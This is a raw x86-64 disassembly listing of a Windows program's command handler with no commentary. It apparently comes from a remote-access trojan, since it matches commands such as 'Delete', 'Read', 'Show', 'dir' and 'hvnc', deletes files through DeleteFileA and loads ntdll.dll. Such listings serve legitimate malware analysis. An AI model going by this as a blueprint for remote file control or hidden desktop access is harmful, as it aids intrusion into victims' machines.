cmp rdx, 0x10
jb 0x14003897b
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038976
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003905f
call fcn.140080f50
lea rdi, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rdi, qword [rbp + 0x80]
cmp dword [0x1400edeb8], 0
jne 0x1400389d3
lea rbx, [0x1400e93c0]
cmp qword [0x1400e93d8], 0x10
cmovae rbx, qword [0x1400e93c0]
lea rdx, [0x1400e9400]
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call fcn.140056d50
jmp 0x1400389f3
lea rcx, [0x1400e9320]
cmp qword [0x1400e9338], 0x10
cmovae rcx, qword [0x1400e9320]
mov rdx, rdi
call fcn.140056a00
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x140037b94
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037af8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038fe1
jmp 0x140037af8
mov rax, rdi
cmp r14, 0x10
jb 0x140038a48
mov rax, qword [rbx]
cmp rsi, 3
jne 0x140038e2c
cmp byte [rax], 0x64
jne 0x140038a68
cmp byte [rax + 1], 0x69
jne 0x140038a68
cmp byte [rax + 2], 0x72
jne 0x140038a68
mov eax, r13d
jmp 0x140038a6d
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140038e2c
lea rdx, [rbx + 0x20]
mov r9, qword [rdx + 0x10]
mov r8, rdx
mov r10, qword [rdx + 0x18]
cmp r10, 0x10
jb 0x140038a8d
mov r8, qword [rdx]
cmp r9, 6
jne 0x140038b4f
mov rcx, r13
lea r11, str.Delete
movzx eax, byte [r8 + rcx]
inc rcx
cmp al, byte [r11 + rcx - 1]
jne 0x140038abb
cmp rcx, 6
jne 0x140038aa1
mov eax, r13d
jmp 0x140038ac0
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140038b4f
lea rcx, [rbx + 0x40]
cmp qword [rcx + 0x18], 0x10
jb 0x140038ad6
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x140037ea6
cmp dword [0x1400edeb8], r13d
jne 0x140038b27
lea rbx, [0x1400e93c0]
cmp qword [0x1400e93d8], 0x10
cmovae rbx, qword [0x1400e93c0]
lea rdx, [0x1400e9400]
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov r8, rbx
mov rdx, rax
lea rcx, str.Deleted_20File
jmp 0x140037b8f
lea rcx, [0x1400e9320]
cmp qword [0x1400e9338], 0x10
cmovae rcx, qword [0x1400e9320]
lea rdx, str.Deleted_20File
call fcn.140056a00
jmp 0x140037b94
mov r8, rdx
cmp r10, 0x10
jb 0x140038b5b
mov r8, qword [rdx]
cmp r9, 4
jne 0x140038cbd
mov rcx, r13
lea r11, str.Show
nop
movzx eax, byte [r8 + rcx]
inc rcx
cmp al, byte [r11 + rcx - 1]
jne 0x140038b8a
cmp rcx, 4
jne 0x140038b70
mov eax, r13d
jmp 0x140038b8f
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140038cbd
lea rdx, [rbx + 0x40]
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.140046190
nop
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x40]
cmp qword [rbp + 0x38], 0
jne 0x140038c0e
cmp dword [0x1400edeb8], 0
jne 0x140038c05
lea rbx, [0x1400e93c0]
cmp qword [0x1400e93d8], 0x10
cmovae rbx, qword [0x1400e93c0]
lea rdx, [0x1400e9400]
lea rcx, [rbp - 0x68]
call fcn.14001f140
mov r8, rbx
mov rdx, rax
lea rcx, str.Error
call fcn.140056d50
jmp 0x140038c7a
lea rdx, str.Error
jmp 0x140038c5d
lea rdi, [rbp + 0x28]
cmp rdx, 0x10
cmovae rdi, rcx
cmp dword [0x1400edeb8], 0
jne 0x140038c5a
lea rbx, [0x1400e93c0]
cmp qword [0x1400e93d8], 0x10
cmovae rbx, qword [0x1400e93c0]
lea rdx, [0x1400e9400]
lea rcx, [rbp - 0x68]
call fcn.14001f140
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call fcn.140056d50
jmp 0x140038c7a
mov rdx, rdi
lea rcx, [0x1400e9320]
cmp qword [0x1400e9338], 0x10
cmovae rcx, qword [0x1400e9320]
call fcn.140056a00
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x140037b94
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037af8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038fe7
jmp 0x140037af8
cmp r10, 0x10
jb 0x140038cc6
mov rdx, qword [rdx]
cmp r9, 4
jne 0x140037b94
mov rcx, r13
lea r8, str.Read
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140038cf9
cmp rcx, 4
jne 0x140038ce0
mov eax, r13d
jmp 0x140038cfe
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140037b94
lea rdx, [rbx + 0x40]
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.1400463b0
nop
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x40]
cmp qword [rbp + 0x38], 0
jne 0x140038d7d
cmp dword [0x1400edeb8], 0
jne 0x140038d74
lea rbx, [0x1400e93c0]
cmp qword [0x1400e93d8], 0x10
cmovae rbx, qword [0x1400e93c0]
lea rdx, [0x1400e9400]
lea rcx, [rbp - 0x68]
call fcn.14001f140
mov r8, rbx
mov rdx, rax
lea rcx, str.Error
call fcn.140056d50
jmp 0x140038de9
lea rdx, str.Error
jmp 0x140038dcc
lea rdi, [rbp + 0x28]
cmp rdx, 0x10
cmovae rdi, rcx
cmp dword [0x1400edeb8], 0
jne 0x140038dc9
lea rbx, [0x1400e93c0]
cmp qword [0x1400e93d8], 0x10
cmovae rbx, qword [0x1400e93c0]
lea rdx, [0x1400e9400]
lea rcx, [rbp - 0x68]
call fcn.14001f140
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call fcn.140056d50
jmp 0x140038de9
mov rdx, rdi
lea rcx, [0x1400e9320]
cmp qword [0x1400e9338], 0x10
cmovae rcx, qword [0x1400e9320]
call fcn.140056a00
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x140037b94
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037af8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038fed
jmp 0x140037af8
cmp r14, 0x10
jb 0x140038e35
mov rdi, qword [rbx]
cmp rsi, 4
jne 0x140037b94
mov rcx, r13
lea rdx, str.hvnc
nop dword [rax]
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x140038e68
cmp rcx, 4
jne 0x140038e50
mov eax, r13d
jmp 0x140038e6d
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140037b94
cmp r15, 1
jbe 0x140038f29
lea rdi, [rbx + 0x40]
call fcn.1400986b8
mov rsi, rax
cmp qword [rdi + 0x18], 0x10
jb 0x140038e95
mov rdi, qword [rdi]
mov dword [rax], r13d
mov r8d, 0xa
lea rdx, [rbp - 8]
mov rcx, rdi
call fcn.140097e40
cmp rdi, qword [rbp - 8]
je 0x140039065
cmp dword [rsi], 0x22
je 0x140039078
lea rdx, [rbx + 0x20]
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140038f15
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140038f10
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140039072
mov rcx, r8
call fcn.140080f50
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r13b
jmp 0x140037b94
call fcn.1400986b8
mov rdi, rax
lea rbx, [0x1400e9340]
cmp qword [0x1400e9358], 0x10
cmovae rbx, qword [0x1400e9340]
mov dword [rax], r13d
mov r8d, 0xa
lea rdx, [rbp - 8]
mov rcx, rbx
call fcn.140097e40
cmp rbx, qword [rbp - 8]
je 0x140039085
cmp dword [rdi], 0x22
je 0x140038fc8
lea rdx, [0x1400e93a0]
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140038f15
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140038f10
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140038ff3
jmp 0x140038f0d
lea rcx, str.stoi_argument_out_of_range
call fcn.1400831b4
int3
call fcn.1400996b0
int3
call fcn.1400996b0
int3
call fcn.1400996b0
int3
call fcn.1400996b0
int3
call fcn.1400996b0
int3
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
lea rcx, str.invalid_stoi_argument
call fcn.14008316c
int3
call fcn.1400996b0
int3
lea rcx, str.stoi_argument_out_of_range
call fcn.1400831b4
int3
lea rcx, str.invalid_stoi_argument
call fcn.14008316c
int3